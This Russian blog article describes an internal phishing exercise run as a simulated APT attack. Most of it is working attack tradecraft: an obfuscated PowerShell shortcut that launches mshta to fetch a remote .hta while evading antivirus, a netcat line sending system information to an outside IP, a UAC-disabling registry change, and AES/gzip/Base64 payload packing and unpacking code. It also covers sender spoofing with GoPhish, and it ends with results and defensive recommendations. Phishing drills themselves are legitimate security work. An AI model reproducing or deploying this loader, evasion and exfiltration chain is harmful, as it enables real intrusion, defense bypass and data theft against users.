Хабр, приготовься, рыбалка началась! Для тех кто не в лодке, в предыдущей части мы составили методологию и выбрали инструменты для проведения нестандартных фишинг-учений, чтобы проверить сотрудников нашей компании. В результате мы разработали стратегию полноценной тренировочной APT-атаки. Сегодня мы рассмотрим ее практическую реализацию. Но обо всем по порядку. 


Прочитав статью, читатель получит практическое представление о возможных действиях атакующих и способах проведения учений. Специалисты по информационной безопасности  и пентестеры ознакомятся с рекомендациями по защите инфраструктуры в рамках контракта или трудовых соглашений. Помните, что любое использование представленной информации должно быть ограничено рамками обучения. Автор не несет ответственности за любые негативные последствия, возникающие в результате неправомерного использования материалов статьи и полученных из нее сведений.

Шаг 0. Планирование


Для начала вспомним алгоритм разработанной нами стратегии, и пункты, которые необходимо выполнить.


 



На этапе доставки используется почтовое сообщение с прикрепленным файлом формата .lnk или же ярлыком. Неопытный пользователь может запутаться в разнообразии форматов, или письмо может остаться без внимания, так как было получено из «доверенного» источника. 



Приманкой будет важное сообщение от системы электронного документооборота с подмененным отправителем в теле письма. Это еще одна ловушка для сотрудника. Если вам интересны подробности этого процесса, то обязательно прочтите первую часть статьи!



После открытия файла начнется второй этап атаки — заражение. На компьютере жертвы будет скачан и открыт файл локального «веб-приложения» с обезвреженным кодом, который свяжется с командным сервером и оповестит о «заражении» машины. Чтобы усыпить подозрения, пользователю будет продемонстрирован и оригинальный документ, загруженный с удаленного сервера. Однако не все так просто: чтобы провести учебную атаку, необходимо не только отвлечь внимание потенциальной жертвы, но также обойти средства защиты информации (СЗИ). Для этого мы будем использовать маскировку.


Шаг 1. Этап вооружения



Подготовим удочки и гарпуны для учений, или в нашем случае — эксплойты и пэйлоады. Но для начала определимся с требованиями к ним. Для того чтобы преодолеть СЗИ и человеческий фактор, необходимо использовать:


  • ресурсы и файлы-приманки из рабочей среды;
  • короткие пэйлоады;
  • обфусцированные значения и криптографические преобразования;
  • низкие показатели идентификации вредоноса. 

Основываясь на постулатах выше, приступим к созданию первого эксплойта — ярлыка. Для этого нам не понадобятся какие-либо специальные средства, только Windows-окружение. 


Токсичный ярлык


Открываем мастер создания ярлыков и выбираем стандартный путь к PowerShell. К этому пути мы можем добавить опции и команды, с которыми по умолчанию должен запуститься PowerShell. Так как цель первого эксплойта не вместить в себя всю нагрузку вредоноса, а открыть второй эксплойт, то необходимо должным образом замаскировать вредоносную активность.



Если мы непосредственно обратимся к утилите, которая запустит вредонос,  такая угроза будет детектирована практически везде.


PS C:\Users\Mi> mshta.exe


Вместо этого мы используем операторы PowerShell для того чтобы обходным путем выполнить mshta или mshta.exe без указания пути, так как он уже имеется в переменных среды.  


Первое, что приходит в голову, — обратиться к свойствам объекта реестра и вытащить оттуда нужное название. 


PS C:\Users\Mi> gp -pa 'HKLM:\SOF*\Clas*\Appli*ons\m*h*e'
NoOpenWith   :
PSPath       : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\mshta.exe
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications
PSChildName  : mshta.exe
PSDrive      : HKLM
PSProvider   : Microsoft.PowerShell.Core\Registry

В данном случае команда gp  (сокращение от Get-ItemProperties) при обращении получает список свойств, а в запрос мы уже интегрировали маскировку через *, которая символизирует одно или более значений. Отфильтруем и передадим результат на исполнение mshta.exe через оператор группировки (), который рекурсивно выполнит функции и вернет полученное значение.


PS C:\Users\Mi> .(gp -pa 'HKLM:\SOF*\Clas*\Applications\msh*e').('PSChildName')https://habr.ru/13
mshta.exe https://habr.ru/13

В результате мы получили замаскированный путь к утилите mshta.exe, которая скачивает и устанавливает вредонос на втором этапе. Проведем тесты на детектируемость:



Некоторые антивирусы все же определяют сигнатуру. На текущий момент нас интересует детектируемость решениями Microsoft и ClamAV. Сменим порядок запроса, но суть останется прежней.


PS C:\Users\Mi> .(ls 'C:\Windows\System32' | Where-object 'Name' -like '?sh?a.?x?') https://habr.ru/13 

Знаком вопроса мы замаскировали название. После внесенных изменений проведем повторный тест:



Отлично, интересующие нас антивирусные продукты не видят наш эксплойт. При необходимости можно устранить и оставшиеся детекты.


Вернемся к окну с ярлыком и установим новый путь с командами для запуска PowerShell.


C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe .(ls 'C:\Windows\System32' | Where-object 'Name' -like '?sh?a.?x?') https://habr.ru/13


Выберем соответствующее название, запуск в скрытом окне и значок PDF, который будет отображаться на компьютере пользователя:


%ProgramFiles(x86)%\Microsoft\Edge\Application\msedge.exe


Для проверки работоспособности эксплойта можно указать в конце команды любой сайт, но затем будет необходимо изменить ссылку на URI с файлом второго этапа. 


Вредоносный Webapp


Второй эксплойт представляет собой файл формата .hta, состоящий из в заранее подготовленного HTML с включением CSS + JS. При помощи утилиты mshta, которую мы указали в ярлыке, код в файле интерпретируется и компилируется. 



Вредоносные функции сосредоточены в коде JavaScript. Главные враги подобного решения — статический и динамический анализаторы, которые есть в антивирусных программах, песочницах и TI-платформах. 


Этот файл несет в себе основную нагрузку и неизбежно будет содержать множество обращений к системе в довольно большом по объему фрагменте кода. Поэтому в целях маскировки мы можем использовать объекты окружения PowerShell для шифрования, кодирования, сжатия передаваемых данных, а также обфускацию и задержку при выполнении. 


В нашем примере мы пойдем от обратного и разберем готовый эксплойт по частям.



Эксплойт под кодовым именем 13.hta состоит из двух основных элементов: маскировочный блок и ядро вредоноса. Основной модуль содержит обращение к командному серверу, который зафиксирует, что заражение успешно произошло и выполнит ряд действий. 


Get-ComputerInfo | nc.exe 91.124.1.2 4213 

Функция Decoy-файл найдет по имени файл из первого этапа атаки Положение №300.pdf.lnk и заменит его на оригинальный файл, открыв в браузере или через установленное по умолчанию приложение. 


Код для Decoy
function fJBZI($JfsS){

    $WeFJn = gci -Recurse -Filter 'Положение №300 pdf.lnk' -File -ErrorAction SilentlyContinue -Path $JfsS;

    if($WeFJn){

        if($WeFJn.Fullname -Match '.zip' -eq $true){

            $NzJDP = $WeFJn.Directory.Name.Replace('Temp1_','');

            $dnuHk = gci -Recurse -Filter $NzJDP -File -ErrorAction SilentlyContinue -Path «$HOME»;

            $JLdUun = Join-Path $dnuHk.Directory $NzJDP;

            $GNSf = Join-Path $WeFJn.Directory '\*';

            Move-Item -Path $CrjUERfL -Destination $WeFJn.Directory;

            del $WeFJn.FullName -Force;

            Compress-Archive -Path $GNSf -DestinationPath $JLdUun -Force;

        } else {

            del $WeFJn.FullName -force;

            Move-Item -Path $CrjUERfL -Destination $WeFJn.Directory;

        }

    }

}

fJBZI([Environment]::GetFolderPath('Desktop'));

  1. Функция fJBZI сканирует рабочий стол пользователя в поисках ярлыков с именем «Положение №300.pdf.lnk»;
  2. Если найденный ярлык является файлом ZIP, скрипт извлекает содержимое ZIP-архива;
  3. Далее скрипт перемещает PDF-файл (предполагается, что это содержимое архива) на рабочий стол и удаляет ZIP-файл или ярлык;
  4. Если ZIP-файл не найден, он перемещает PDF-файл на рабочий стол.

Обход UAC/SmartScreen включает в себя функцию обращения к реестру и изменения значения, отвечающего за уровень контроля запуска приложений, а также использует новые сигнатуры для обхода SmartScreen.


Set-ItemProperty -Path REGISTRY::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin -Value 0

Полученное ядро необходимо маскировать и преобразовать!


Маскировочный блок, в свою очередь, использует 3 основных способа сокрытия ядра полезной нагрузки: 


Для сокращения объема и воспрепятствования статическому анализу используется gzip-архивирование.


New-Object System.IO.Compression.GzipStream [Stream of data], ([IO.Compression.CompressionMode]:: Compress)

Поверх архива применяется шифрование методом AES-256, путем создания объекта в окружении PS с соответствующими опциями.


Код для шифрования AES-256
$zTdLOeg = «ключ_в_utf8»;

$yNRTxBE = «закодированный_текст_в_utf8»;

$vdiEhMj = New-Object 'System.Security.Cryptography.AesManaged';

$vdiEhMj.Mode = [System.Security.Cryptography.CipherMode]::ECB;

$vdiEhMj.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;

$vdiEhMj.BlockSize = 128;

$vdiEhMj.KeySize = 256;

$vdiEhMj.Key = [System.Convert]::FromUTF8String($zTdLOeg);

$hPhPw = [System.Convert]::FromUTF8String($yNRTxBE);

$udBqxpbU = $hPhPw[0..15];

$vdiEhMj.IV = $udBqxpbU;

$eTsDHySTn = $vdiEhMj.CreateEncryptor();

$JrVyLoYTK = $eTsDHySTn.TransformFinalBlock($hPhPw, 0, $hPhPw.Length);

$vdiEhMj.Dispose();

Для следующего этапа применяется кодирование в Base64. Получившееся ядро в замаскированной оболочке записывается в переменную.


Кодирование
$yNRTXBE = 'AAAAAAAAAAAAAAAAAAAAAAUQSLIqVQKkgeiUIVMEDKFBx0d AqUjxNC2pF2azwgu5jrLa5CV8ki6NA4oVN1vj5bMzzwgADlgD6k3v

FcP9A2889VWEvaNplt1NmzacJKO/

RAcvOpiPODvSaRpCV50FE/reGmllrWniD4LCvV/j53/sActC/ NsGGHRDL8JpPvuRKt1Re3AKwbrzv5SEleT4Yv9WgHls7U1E+MkGs/ wXrJSN7BWdHF9QXslb6/

pwTYznyq1324dIMMUBWtd94+X7p2xzIYD

zsLiVW16huWgoeiPXtk9fMnuW+Q7Ir31YmlKvmwRWbsTJDPFxsfV0BaQ8xeQgH2qe8ahxlq2NB9ED xzYpEjD22ehY/

MsvTp6BsO0W6DXmWam6WfFdeUjQWKuOqfN25EHKit21X27bka SA7g9AStqrEzV0NC26ZDMJa078UlquB4iqt5MDivEd3LyKwtJGvFC wBUduk=';

Для распаковки ядра вредоноса в .hta-формате прописываются команды для дешифровки, декодирования и разархивации. Некоторые строки со значениями также закодированы в Base64.


Код для расшифровки
$zTdLOeg = 'QIRkeU1MSGtRc09uZ290Sm9TTk5lc2ZxeGxlemhxTW8=';

$vdiEhMj = New-Object 'System.Security.Cryptography.AesManaged'; 

$vdiEhMj.Mode = [System.Security.Cryptography.CipherMode]::ECB;

$vdiEhMj.Padding = [System.Security.Cryptography.PaddingMode]::Zeros; 

$vdiEhMj.BlockSize = 128;$vdiEhMj.KeySize = 256;

$vdiEhMj.Key = [System.Convert]::FromBase64String($zTdLOeg); 

$hPhPw = [System.Convert]::FromBase64String($yNRTxBE); 

$udBqxpbU = $hPhPw[0..15];

$vdiEhMj.IV = $udBqxpbU; 

$eTsDHySTn = $vdiEhMj.CreateDecryptor(); 

$JrVyLoYTK = $eTsDHySTn.TransformFinalBlock($hPhPw, 16, $hPhPw.Length — 16);

$vdiEhMj.Dispose(); 

$jQcAMdf = New-Object System.IO.MemoryStream(,$JrVyLoYTK); 

$pKSKXid = New-Object System.IO.MemoryStream;

$wdTyKzCND = New-Object System.IO.Compression.GzipStream $jQcAMdf, ([IO.Compression.CompressionMode]:: Decompress); 

$wdTyKzCND.CopyTo($pKSKXid); 

$wdTyKzCND.Close(); 

$jQcAMdf.Close(); [byte[]] 

$Kuvqqkj = $pKSKXid.ToArray();

$pcWmt = [System.Text.Encoding]::UTF8.GetString($Kuvqqkj);

Выполнение расшифрованного эксплойта


#$pcWmt | powershell -

В результате всех этих сложных манипуляций мы получаем отличные результаты.



Поведенческий анализ Антивируса Касперского все-таки обнаружил вредонос, но целевые антивирусные решения не отреагировали на наш файл, поэтому задачу по формированию пэйлоада можно считать выполненной.


Не забудем захостить итоговый файл, убрать расширение .hta и изменить ссылку в ярлыке.


Шаг 2. Этап доставки



Когда мы уже сидим на чемоданах и все снасти упакованы, пора погрузиться на корабль и отправиться на долгожданную рыбалку! Для того чтобы наше творение  дошло до получателя в исходном виде и письмо не вызывало подозрений, необходимо произвести подмену отправителя.


Напомним, что особенность обработки такого сообщения любым почтовым приложением заключается в том, что все поля до DATA остаются в метаданных, а поля после этой строки отображаются в самом сообщении. Соответственно, получатель не увидит narushitel@serverspace.ru пока не просмотрит исходный код сообщения, но зато поле From: Игорь Иванович ceo@serverspace.ru будет отображаться в строке «отправитель». Так выглядит само письмо:



А вот его исходный код, в котором можно увидеть настоящего отправителя в поле Return-Path: narushitel@serverspace.ru:



Задача сотрудника сводится к тому, чтобы зайти в исходный код и сверить строчку получателя с тем, что демонстрирует приложение. 


На развернутом  сервере GoPhish была создана целевая группа для рассылки путем импорта CSV:



Чтобы отправлять письма, необходимо иметь легитимный аккаунт, который будет использоваться для рассылки. В нашем случае для подсказки пользователю мы указали адрес narushitel@mail.serverspace.ru .



Затем мы составили фишинговое письмо с использованием HTML и CSS, преимущественно без картинок, поскольку многие почтовые клиенты блокируют изображения, как вложенные, так и с ссылкой на внешний ресурс. В сообщение мы добавили вредоносный файл и трекер, за счет которого будут фиксироваться открытия вредоносного сообщения. Письмо приняло следующий вид:



После того как мы сформировали все виды писем с вложением для реализации первого этапа атаки, можно начинать рыбалку!


Шаг 3. Сбор результатов и советы для сотрудников ИБ



В течение всей компании сотрудникам было разослано около 400 писем, из них были открыты 356 или 89% от общего количества. Повысилась активность на сканирующем устройстве, куда могли обращаться пользователи, чтобы проверить свои файлы на наличие вредоноса. В отдел кибербезопасности поступило 10 обращений по поводу подозрительного письма, что ускорило бы реагирование в случае реальной атаки. Однако около 16% машин оказались «заражены», что говорит о необходимости принятия дополнительных технических и организационных мер. Среди них — укрепление периметра, фильтрация почтового трафика внутри сети, hardening почтовых серверов и повышение осведомленности оставшегося процента сотрудников. 


Учения, безусловно, принесли пользу: общий процент открытия вредоносных писем в прошлые периоды составлял 41%, в текущем снизился до 16%. 


Чек-лист рекомендаций


  • Нужно предоставить пользователям организационные и технические инструменты для детектирования атаки: сканеры, антивирусные решения, настроенные анализаторы на почтовых серверах или отдельные решения Mail Security;
  • Необходимо организовать базовый hardering почтовых серверов во избежание слива учетных данных, ввести строгую парольную политику и многофакторную аутентификацию. При составлении учений мы поняли, что на одном из узлов есть уязвимость Broken Authentication, что помогло вовремя решить проблему.
  • Следует внедрить проактивную защиту, просканировать почтовый сервис открытыми платформами наподобие PT Knockin.
  • Нужно настроить блокировку приема почтовым сервером сообщений с потенциально вредоносным вложением: .lnk, .bat, .cmd, .ps1, .exe, .msi, .slk и прочими.

В ходе учений мы реализовали полноценную APT-атаку и проверили бдительность своих коллег. Это позволило не только выяснить уровень  осведомленности сотрудников, но и помогло здраво оценить защищенность инфраструктуры. Охоту можно объявлять закрытой!


Статья поддерживается командой Serverspace.

Serverspace — провайдер облачных сервисов, предоставляющий в аренду виртуальные серверы с ОС Linux и Windows в 8 дата-центрах: Россия, Беларусь, Казахстан, Нидерланды, Турция, США, Канада и Бразилия. Для построения ИТ-инфраструктуры провайдер также предлагает: создание сетей, шлюзов, бэкапы, сервисы CDN, DNS, объектное хранилище S3.

IT-инфраструктура | Кешбэк 17% по коду HABR

Комментарии (8)


  1. Retifff
    03.05.2024 08:50
    +2

    Задача сотрудника сводится к тому, чтобы зайти в исходный код и сверить строчку получателя с тем, что демонстрирует приложение. 

    Что-то вы слишком много хотите от сотрудников.


    1. an1ik Автор
      03.05.2024 08:50

      В любой корпоративной среде есть то, с чем не сталкивался сотрудник. Важно на реальном примере с последствиями показать способ их избежать, тогда задача для коллег не будет такой сложной. В принципе, для чего и нужны фишинг-учения.


  1. AlexeyK77
    03.05.2024 08:50

    в список из простого но эффективного: локальным фаерволом закрыть повершеллу и многим системным утилитам доступ наружу.


  1. ifap
    03.05.2024 08:50

    Это все, конечно, очень познавательно и нравоучительно, но давайте начнем с самого начала: каким макаром Вы в почтовом клиенте получите такую картинку для файла с раширением .lnk, ась?


    1. an1ik Автор
      03.05.2024 08:50

      А где вы увидели, что передача формата .lnk будет в той форме, как оно отображено на пк? Естественно это особенности любой системы и файл в почте будет выглядеть в виде "Положение №300.pdf.lnk"
      Не каждый пользователь знает все форматы, не всегда дотошен к деталям и прочие моменты человеческого фактора, на которых и завязан фишинг. По-идее, вся атака закончится на этапе открытия исходного кода сообщения, при должных знаниях.


      1. ifap
        03.05.2024 08:50

        А, так это не иллюстрация, а просто КДПВ? Тогда уж сразу котиков можно было выкладывать: тоже никакого отношения к теме статьи, но притягивает внимание.


        1. an1ik Автор
          03.05.2024 08:50

          Возможно, вы не поняли, но это отображение того, как ярлык будет выглядеть на рабочем столе после скачивания. Суть в том, что формат lnk, даже при функции "Отобразить формат файла", не будет вписан в конец эксплойта.


          1. ifap
            03.05.2024 08:50

            На этапе доставки используется почтовое сообщение с прикрепленным файлом формата .lnk

            Тогда Вы какой-то совсем странный кейс рассматриваете: вредоносный файл сперва сохраняется из почтового клиента, и непременно на "Рабочий стол", а уже затем запускается. Кстати, а при каких условиях filename.pdf.lnk у Вас на рабочем столе отображается с иконкой PDF?